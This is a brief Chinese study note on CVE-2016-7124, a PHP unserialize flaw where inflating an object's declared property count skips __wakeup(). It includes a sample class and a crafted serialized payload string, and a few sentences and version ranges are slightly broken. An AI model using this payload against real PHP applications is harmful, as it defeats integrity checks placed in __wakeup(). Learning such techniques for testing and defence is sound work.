【笔记】CVE-2016-7124漏洞利用

前言

PHP 5.0~5.6.25PHP 7.0~7.0.10中,如果反序列化的对象与原,可以实现CVE-2016-7124漏洞利用

漏洞利用前提

  • PHP 5.05.6.25版本或7.07.0.10版本

payload

  • 如果反序列化的对象中,属性个数大于原类的属性个数,则会绕过__wakeup()函数的执行
1
2
3
4
5
6
7
8
9
class User {
public $value;
public function __wakeup() {
...
}
}

$user = new User();
echo serialize($user);
1
O:4:"User":1:{s:5:"value";N;}
  • 将属性个数增加1,则会绕过__wakeup()函数的执行
1
2
3
4
5
6
7
8
class User {
public $value;
public function __wakeup() {
...
}
}

$user = unserialize('O:4:"User":2:{s:5:"value";N;}');

完成

参考文献

哔哩哔哩——xiaodisec